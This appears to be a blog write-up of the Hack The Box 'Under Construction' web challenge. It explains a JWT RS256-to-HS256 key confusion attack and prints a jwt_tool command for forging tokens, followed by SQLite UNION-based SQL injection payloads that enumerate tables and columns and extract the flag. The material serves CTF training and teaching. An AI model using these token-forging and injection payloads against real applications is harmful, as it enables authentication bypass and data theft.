Hack The Box Writeup — Under Construction
Finally, after a long time I run away from web challenges, I come back and continue to practice. In this challenge, I face one of my greatest fears of web challenge, the JWT challenge.
Again and again, I remind you that I will write the whole thinking process in creating this solution, so bear with me and keep learning!
Challenge Introduction
A company that specialises in web development is creating a new site that is currently under construction. Can you obtain the flag?
There is an instance that we can start and a zip file containing the source code.
Information Gathering
We will inspect 2 things regarding this challenge, the web, and the source code. We will check the web first to find any obvious flaw or clue.
Web Analysis
There are 2 input boxes and 2 buttons. If we try to log in before register, it will throw an error “username not registered” kind of thing. So we can follow the normal flow by registering first and then log in.
Nothing special about this flow, just a simple flow. To be honest, I suspected this challenge will be about SQL injection (because of the login and register page). I examined further by opening developer tools. I also saw the “personalized” welcome message therefore, I suspect this is a JWT challenge as well. So I opened the developer tools and go to the application tab and cookies section.
If we see at the cookies stored under the session variable, it is a type of the JWT token (it starts with ey….. and has 3 separation dots). We can examine the JWT by using jwt.io.
From the JWT examination, we can see that this is an asymmetric JWT that is using private and public keys instead of a secret key like in symmetric JWT.
From that information, I again suspected that it will be the JWT key confusion attack (I know from a lot of training and researching before that this weakness exists). I think it will be good to tell you about it.
A Little JWT Key Confusion Exploit Explanation
JWT key confusion attack is simply using the public key as our new signing secret key. How this vulnerability exists? When an application using asymmetric JWT, it will craft the header and payload and sign them with the application’s private key. The JWT is sent out to the public. Whenever somebody (including the application itself) wants to check if this token is authentic or not, they can use the application’s public key (which is normal when the key is in public) to verify whether the JWT is authentic or not. For example, in this challenge, we can check whether the JWT is authentic or not.
I replaced all the “\n” with “enter / new line” and this is the public key I will use.
-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaYktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQiXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzgjIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMxV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr0wIDAQAB-----END PUBLIC KEY-----
Just copy all the public key including the “begin public key” and “end public key” and the last line break and paste it on the “verify signature” part
You can see that the blue part of the JWT which is the signature does not change and it indicates the signature is verified which means the JWT is authentic.
Back to the topic explaining the vulnerability. So, we understand about the asymmetric JWT signing. There is another style of signing which is the symmetric signing. Symmetric signing uses 1 symmetric key to sign and to verify the token. For example, I have this token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhlbGxvIn0.AQ_ocqPfoEN5bt0w-B95wLbtPAh0H3QK8YEhuOpHlnI
You can open again the same platform and decode the token.
Now to verify it, we need the secret string that signs our token beforehand, and of course, we do not know because it is only the application authority to verify whether the JWT is valid or not, we are not meant to verify or even check the validity of the token.
Okay, do you get the flaw?
The asymmetric signing requires the application’s public key to verify the signature that is signed by the application’s private key, which is really hard to tamper with because the private key remains private. On the other hand, the symmetric signing requires a secret string to verify the signature that is signed by the application’s same secret string.
Wait… hold on…. it is interesting. When the private key is produced, the public key is also been produced. So of course the application knows and public key. We also know the public key, then why we do not treat this public key as the “secret string” and use the symmetric procedure instead?
This is the JWT key confusion exploit comes. If we can change the algorithm of signing from RSxxx to HSxxx and the library that handles this JWT is still buggy, we can trick the application into verifying the signature as symmetric signing using the public key because the application thinks that the public key is the “secret string”!
What is the advantage? The advantage is, we can modify the payload, sign them with the public key they sent to us and send to the system and force them to verify the signature using the same public key and our payload will be considered as valid or authentic.
Web Analysis (Contd..)
Okay, that is the explanation key confusion exploit, we do not even know yet that this challenge is vulnerable to that exploit or not 😛. Learning a new thing is still valuable right?
We have done examining the web part since we do not get any more information. Our hypothesis is, this will be the key confusion attack.
Source Code Analysis
Now we will examine the source code. One thing that I like about checking the source code is we can see and understand the business process. That will be our first job to do.
When we open the source code, we immediately recognize that it is node.js with the express framework. Before I start even further, I want to tell you that by this point, I never build anything using express.js. Basically, all the knowledge I know is by googling it (and maybe a little intuition).
First I look at the routes/index.js file.
We know that there are several endpoints.
- / with GET method
- /auth with GET method
- /logout with GET method
- /auth with POST method
Okay, both auth is for login, register, and send the authentication page, / with the first landing endpoint, and logout is to clear session or to redirect to auth. I was interested in / endpoint, so I examined it further.
So, I found it challenging because I did not understand about middleware, and helper (simply because I have not built a single page yet using node.js), So I tried to guess. My guessing is, every time the “/ “ route is called, the router.get(“/”…..) is triggered, but before it executes its code (starts from try{ … ) it calls the AuthMiddleware first (we will examine it later). Maybe in AuthMiddleware, it will produce a true or false value that will decide whether we are allowed to continue or not. Say that we are allowed to continue then it will crosscheck the username to the database, if the user does not exist, display the error message, and display the index.html otherwise.
From this analysis, I think, the AuthMiddleware is about checking the JWT because the story will be summed up. Check the JWT first whether it is expired or may be modified. If it passes all the check and the JWT is valid then take the username and check to the database. If the user exists, display the homepage otherwise display the error message.
So, let’s prove our hypothesis.
Well, yea, I think it is correct but instead of true-false, the application will redirect to auth if the cookie does not exist, put to req.data if the decoding valid, and send the “internal server error” message if it fails to decode the JWT (failure of JWT decoding will result in exception).
Just to be sure, we will dig deeper and see the decode function inside the JWTHelper module.
Again, I admit, I do not really sure about what is going but, I think the decode function is allowed to decode the JWT asymmetrically and symmetrically because it allows us to use RS256 algorithm (Asym) and HS256 (Sym). I think it is the JWT key confusion exploit.
Now we continue to another piece of the code which is the DBHelper. The getUser function inside the DBHelper module is called to check whether the user exists or not, so let’s examine them.
We see there are 4 functions inside this module and of them is getUser function as expected. getUser function requires username to be passed on and it will query the database to get the data about the username.
If we see the detail, we know that getUser is vulnerable to SQL injection because it takes the username and directly appends to the existing query.
So, this concludes our plan, they want us to modify the JWT and somehow bypass the JWT validation check and use SQL injection to get the information that we need.
Attack Preparation
So basically we need 2 things.
- A tool that can modify JWT
- SQLite 3 knowledge to SQL injection
A Tool that can Modify JWT
After long research, I finally found a tool that is referenced from several blogs, which is jwt_tool.py. Big shoutout to the author and thank you for creating this tool. Before I found this tool, I tried to use JWT official module to build my own tool. I also tried to build it without using JWT official module. It is not working that stable, so I keep researching until I get this tool.
All the documentation and installation can be read on its GitHub page. This is one of the little tools that I can install by myself, so you can do it as well. For the usage, you can read at its attack book. Again, one of the little tools that I can understand by myself, so you can do it as well.
SQLite 3 Knowledge to SQL Injection
I need several queries to do the attack
- How to get the tables name
- How to get the columns name
And I after I find some writeups (besides this one) and my experience before, I have the formula.
#Get Tables
injected hehe’ union select name,1 from sqlite_master where type='table' and name not like 'sqlite_%'--;
#Get Columns
injected hehe' union select sql,1 from sqlite_master where tbl_name = 'users' and type = 'table';--
We are using the union exploit here hence, keep in mind that the union query needs the count of selected columns from both queries is equal. So we will identify the columns count first later.
Attacking
I use the burp suite additionally to make the requesting process easier and faster. The page that will be injected is the page after login, we send the request to the repeater.
Because in repeater we can change any information then simply send it over again instead of refreshing from browser.
Now our burp suite set up is ready, now we are going to modify the token with our payload, sign it, and send it via burp suite until we get the response.
This is how I call the JWT tool to modify the token and use the exploit for key confusing.
./jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2MDQ0NTQyMDh9.5T8IHJhhAJYyGYeusuWUpJAOcQrkeIf4_it3uoTappAHP7N1HY6vJY-Xb2nzlSeEsOiuEKakcNRSNiLMLTO0vuiG-or8vz0BpoX7_885suj3FTft82w-6ox6SZJBgocWfVZdtpcgquCKLGiQxCLlTkK1pnWKZy3PvJsYBJBTgh_61ji0ZN_K8L0atP3rhUuoJQ_cDc696ZKYyhO7KiQ4TuZlVgGI5QvYEdfP6etRJ_5oeanztT6vlhwolQBizCsVwOsqumcHEJFpHm_0ZfUhipe7ThXBJaVlGeKCFKmIu8VXpfP6v4ZZtKWgD396AXK8rIKBTAc54KEDJbL93dUEqA -I -pc username -pv hehe -X k -pk jwttool_custom_public_RSA.pem
Okay, this is not that scary if we break down the components.
#Legends:
#[value] = the value inside bracket is filled by user
#(information) = the value inside parentheses is information about the flag / command./jwt_tool.py [jwt] -I (inject) -pc (payload claim / payload key) [payload key] -pv (payload value) [new payload value] -X (exploit) k (confusing key exploit) -pk (public key) [public key file]
Now you can back examine my command above.
So I simply put my injection code inside the payload value under the username payload claim/payload key. Below is my injection steps
- Find the column count
We need to identify how many columns does the first query select (since it uses * which means all columns).
Payload:
injected hehe’ union select 1,1,1--;
This type of information gathering is true or false based. If the column count is the same, then the query will execute as a normal query, otherwise, it will throw the error message (“SQLite3 error on line ……”) - Find the selected column to display
We need to identify which columns will be fetched and be displayed by the application. For example, the columns might be id, username, and status. When the application prints the username, then we know that the selected column is the second one. This is important for our next move.
Payload:
injected hehe’ union select 1,2,3--;
This type of information gathering is result-based which means, the behavior can be examined through the output. If the second column is used then it will prints “2” (just because we put number 2 in the second column) - Get the tables
We need to identify the tables where we will query the information from. Every database engine has its own way, this is specific for SQLite3.
Payload:
injected hehe’ union select 1, name, 2 from sqlite_master where type=’table’ limit 1 offset 0--
By using this payload, the current username will be replaced by the first table name. Because the jwt_tool we can not use the “%” sign (somehow it throws an error), therefore we need to improvise a little bit using limit 1 offset x. It also helps to get more information if the table we want is not the first table. - Get the columns
We need to identify the columns inside the table we want. Every database engine has its own way, this is specific for SQLite3.
Payload:
injected hehe’ union select 1, sql,2 from sqlite_master where tbl_name = ‘*censored*’ and type = ‘table’ limit 1 offset 0--
By using this payload, the current username will be replaced by the SQL query to build this table. From there, you can see the column name. - Get the flag
Finally, we will query the table and get the flag.
Payload:
injected hehe’ union select 1,*cencored*,2 from *censored* limit 1 offset 0--
By using this payload, the current username will be replaced by the flag.
Closing
This was a fun challenge. It leads me to understand a lot especially about JWT exploitation and its tool. There is a lot of things that can be optimized, but I want to encourage all the readers that give a try first rather than thinking about how to optimize it. Anyway, I hope you learn something and happy hacking!
To GOD be all the glory, Soli Deo Gloria!